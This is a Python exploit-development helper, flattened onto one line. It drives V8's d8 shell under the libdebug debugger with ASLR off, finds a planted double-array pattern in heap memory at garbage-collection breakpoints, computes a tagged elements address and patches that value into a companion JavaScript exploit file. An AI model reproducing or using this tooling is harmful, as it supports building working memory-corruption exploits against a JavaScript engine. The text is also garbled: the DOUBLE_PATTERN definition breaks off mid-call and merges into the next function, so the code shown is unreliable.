#!/usr/bin/env python3 from __future__ import annotations import os import re import struct import argparse from pathlib import Path from libdebug import debugger ROOT = Path(__file__).resolve().parent BACKING_VALUES = (13.371337, 37.1337, 73.7331, 31.3373) DOUBLE_PATTERN = b"".join(struct.pack(" bytes | None: try: return bytes(d.memory[start, size]) except Exception: return None def find_payload_hits(d) -> list[int]: hits: list[int] = [] for m in d.maps: if "r" not in m.permissions or "w" not in m.permissions: continue if "[stack]" in str(m.backing_file): continue pos = m.start prev = b"" overlap = len(DOUBLE_PATTERN) - 1 while pos < m.end: size = min(0x100000, m.end - pos) raw = read_map(d, pos, size) if raw: data = prev + raw off = data.find(DOUBLE_PATTERN) while off != -1: hits.append(pos - len(prev) + off) off = data.find(DOUBLE_PATTERN, off + 1) prev = data[-overlap:] else: prev = b"" pos += size return hits def is_fixed_double_array4_payload(d, payload: int) -> bool: try: raw = bytes(d.memory[payload - 8, 8]) except Exception: return False return int.from_bytes(raw[4:8], "little") == 8 def patch_final(js_file: Path, qword1: int) -> None: text = js_file.read_text() text = re.sub( r"const QWORD1_BITS = 0x[0-9a-fA-F]+n;", f"const QWORD1_BITS = 0x{qword1:016x}n;", text, count=1, ) js_file.write_text(text) parser = argparse.ArgumentParser() parser.add_argument("d8_path") parser.add_argument("js_file") args = parser.parse_args() d8_path = Path(args.d8_path).expanduser() if not d8_path.is_absolute(): d8_path = Path.cwd() / d8_path js_file = Path(args.js_file) if not js_file.is_absolute(): js_file = Path.cwd() / js_file env = os.environ.copy() d8_out = d8_path.parent env["LD_LIBRARY_PATH"] = f"{d8_out}{':' + env['LD_LIBRARY_PATH'] if env.get('LD_LIBRARY_PATH') else ''}" d = debugger( [ str(d8_path), "--allow-natives-syntax", "--expose-gc", "--maglev", str(js_file), ], aslr=False, env=env, ) d.run() gc_sym = d.resolve_symbol("_ZN2v88internal11GCExtension2GCERKNS_20FunctionCallbackInfoINS_5ValueEEE") d.breakpoint(gc_sym) for _ in range(4): d.cont() d.finish() hits = [x for x in find_payload_hits(d) if is_fixed_double_array4_payload(d, x)] if len(hits) <= 1: d.terminate() exit() elements_tagged = hits[1] - 7 qword1 = 0x0000000400000000 | ((elements_tagged + 0x10) & 0xFFFFFFFF) print(f"payload_addr = 0x{hits[1]:x}") print(f"elements_tagged = 0x{elements_tagged:x}") print(f"QWORD1_BITS = 0x{qword1:016x}") patch_final(js_file, qword1) print(f"patched {js_file.name}") d.terminate()